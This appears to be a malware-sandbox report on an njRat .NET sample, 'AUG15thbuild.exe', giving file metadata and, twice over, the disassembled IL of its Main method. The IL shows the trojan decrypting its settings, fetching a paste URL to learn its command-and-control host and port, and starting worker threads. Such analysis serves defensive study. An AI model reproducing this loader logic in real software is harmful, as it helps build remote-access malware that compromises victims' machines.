Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 3 files
EXEfbeba52608897ce062ca9ebc14719c45njRat
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
AUG15thbuild.exe
Full Name
AUG15thbuild.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
AUG15thbuild.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
AUG15thbuild
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
165
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 189
ldc.i4 132
call System.Void My.MyComputer::Ⴈ(System.Int32,System.Int16,System.Int16)
ldc.i4.4 <null>
stloc.s V_6
ldloc.s V_6
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 242
ldc.i4 207
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 56
ldc.i4.5 <null>
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.3 <null>
stloc.s V_6
br.s IL_001D: ldloc.s V_6
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 996
ldc.i4 985
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 744
ldc.i4 725
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.5 <null>
stloc.s V_6
br IL_001D: ldloc.s V_6
ldsfld System.String Settings::PasteUrl
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 452
ldc.i4 505
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::PasteUrl
leave.s IL_0110: ldc.i4.6
dup <null>
ldc.i4 292
ldc.i4 313
call System.Void Stub.Uninstaller/Ⴐ::Ⴃ<System.Exception>(System.Exception,System.Char,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 217
ldc.i4 227
call System.Void My.MyComputer::Ⴈ(System.Int32,System.Int16,System.Int16)
ldc.i4 871
ldc.i4 860
call System.Void My.MyComputer::Ⴀ(System.Int32,System.Int16)
leave.s IL_0110: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_8
ldloc.s V_8
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴈ::Ⴀ()
ldsfld System.Char[] Stub.Messages::Ⴄ
ldc.i4 233
ldsfld System.Char[] Stub.Messages::Ⴄ
ldc.i4 233
ldelem.u2 <null>
ldsfld System.Char[] Stub.Messages::Ⴄ
ldc.i4 253
ldelem.u2 <null>
and <null>
ldc.i4.s 100
and <null>
stelem.i2 <null>
brtrue.s IL_0177: ldc.i4.s 9
ldc.i4.7 <null>
stloc.s V_8
br.s IL_0113: ldloc.s V_8
ldc.i4.s 9
br.s IL_0173: stloc.s V_8
ldc.i4.0 <null>
ldc.i4 354
ldc.i4 344
call System.Void My.MyComputer::Ⴈ(System.Int32,System.Int16,System.Int16)
ldsfld System.String Settings::PasteUrl
call System.String Stub.Main::DownloadStr(System.String)
stloc.0 <null>
ldloc.0 <null>
castclass System.String
ldc.i4.1 <null>
newarr System.Char
stloc.s V_4
ldloc.s V_4
castclass System.Char[]
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_4
isinst System.Char[]
ldc.i4 141
ldc.i4 160
call System.String[] Stub.Main::Ⴈ<System.String>(System.String,System.Char[],System.Int16,System.Int32)
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.String Settings::Host
ldc.i4.4 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
ldloc.0 <null>
isinst System.String
ldc.i4.1 <null>
newarr System.Char
stloc.s V_4
ldloc.s V_4
isinst System.Char[]
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_4
isinst System.Char[]
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.1 <null>
ldelem.ref <null>
stsfld System.String Settings::Port
ldc.i4.0 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
call System.Void Ⴍ.Ⴈ::Ⴗ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.3 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.2 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
AUG15thbuild.exe
Full Name
AUG15thbuild.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
AUG15thbuild.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
AUG15thbuild
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
165
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 189
ldc.i4 132
call System.Void My.MyComputer::Ⴈ(System.Int32,System.Int16,System.Int16)
ldc.i4.4 <null>
stloc.s V_6
ldloc.s V_6
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 242
ldc.i4 207
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 56
ldc.i4.5 <null>
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.3 <null>
stloc.s V_6
br.s IL_001D: ldloc.s V_6
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 996
ldc.i4 985
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 744
ldc.i4 725
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.5 <null>
stloc.s V_6
br IL_001D: ldloc.s V_6
ldsfld System.String Settings::PasteUrl
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 452
ldc.i4 505
call System.String Stub.Main::Ⴍ<System.Object>(System.Object,System.Int16,System.Int32)
stsfld System.String Settings::PasteUrl
leave.s IL_0110: ldc.i4.6
dup <null>
ldc.i4 292
ldc.i4 313
call System.Void Stub.Uninstaller/Ⴐ::Ⴃ<System.Exception>(System.Exception,System.Char,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 217
ldc.i4 227
call System.Void My.MyComputer::Ⴈ(System.Int32,System.Int16,System.Int16)
ldc.i4 871
ldc.i4 860
call System.Void My.MyComputer::Ⴀ(System.Int32,System.Int16)
leave.s IL_0110: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_8
ldloc.s V_8
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴈ::Ⴀ()
ldsfld System.Char[] Stub.Messages::Ⴄ
ldc.i4 233
ldsfld System.Char[] Stub.Messages::Ⴄ
ldc.i4 233
ldelem.u2 <null>
ldsfld System.Char[] Stub.Messages::Ⴄ
ldc.i4 253
ldelem.u2 <null>
and <null>
ldc.i4.s 100
and <null>
stelem.i2 <null>
brtrue.s IL_0177: ldc.i4.s 9
ldc.i4.7 <null>
stloc.s V_8
br.s IL_0113: ldloc.s V_8
ldc.i4.s 9
br.s IL_0173: stloc.s V_8
ldc.i4.0 <null>
ldc.i4 354
ldc.i4 344
call System.Void My.MyComputer::Ⴈ(System.Int32,System.Int16,System.Int16)
ldsfld System.String Settings::PasteUrl
call System.String Stub.Main::DownloadStr(System.String)
stloc.0 <null>
ldloc.0 <null>
castclass System.String
ldc.i4.1 <null>
newarr System.Char
stloc.s V_4
ldloc.s V_4
castclass System.Char[]
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_4
isinst System.Char[]
ldc.i4 141
ldc.i4 160
call System.String[] Stub.Main::Ⴈ<System.String>(System.String,System.Char[],System.Int16,System.Int32)
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.String Settings::Host
ldc.i4.4 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
ldloc.0 <null>
isinst System.String
ldc.i4.1 <null>
newarr System.Char
stloc.s V_4
ldloc.s V_4
isinst System.Char[]
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
ldloc.s V_4
isinst System.Char[]
callvirt System.String[] System.String::Split(System.Char[])
ldc.i4.1 <null>
ldelem.ref <null>
stsfld System.String Settings::Port
ldc.i4.0 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
call System.Void Ⴍ.Ⴈ::Ⴗ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.3 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.2 <null>
stloc.s V_8
br IL_0113: ldloc.s V_8
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙